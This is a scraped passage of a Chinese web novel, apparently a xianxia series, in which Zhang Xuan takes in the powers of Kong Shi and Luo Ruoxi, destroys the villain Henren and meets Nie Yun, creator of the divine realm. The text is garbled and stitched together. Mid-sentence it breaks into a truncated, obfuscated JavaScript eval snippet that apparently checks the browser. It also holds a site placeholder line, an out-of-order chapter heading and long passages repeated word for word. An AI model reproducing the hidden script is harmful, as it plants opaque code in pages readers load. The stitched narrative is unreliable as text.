刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百一十五章秦休,给我时间 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 